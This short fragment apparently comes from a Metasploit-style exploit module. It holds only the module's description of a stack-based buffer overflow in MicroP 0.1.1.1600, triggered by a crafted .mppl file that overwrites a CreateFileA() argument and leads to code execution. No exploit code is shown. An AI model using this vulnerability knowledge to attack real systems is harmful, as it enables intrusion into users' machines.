'Description' => %q{   
This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based  
buffer overflow occurs when the content of a .mppl file gets copied onto the stack,  
which overwrites the lpFileName parameter of a CreateFileA() function, and results  
arbitrary code execution under the context of the user.
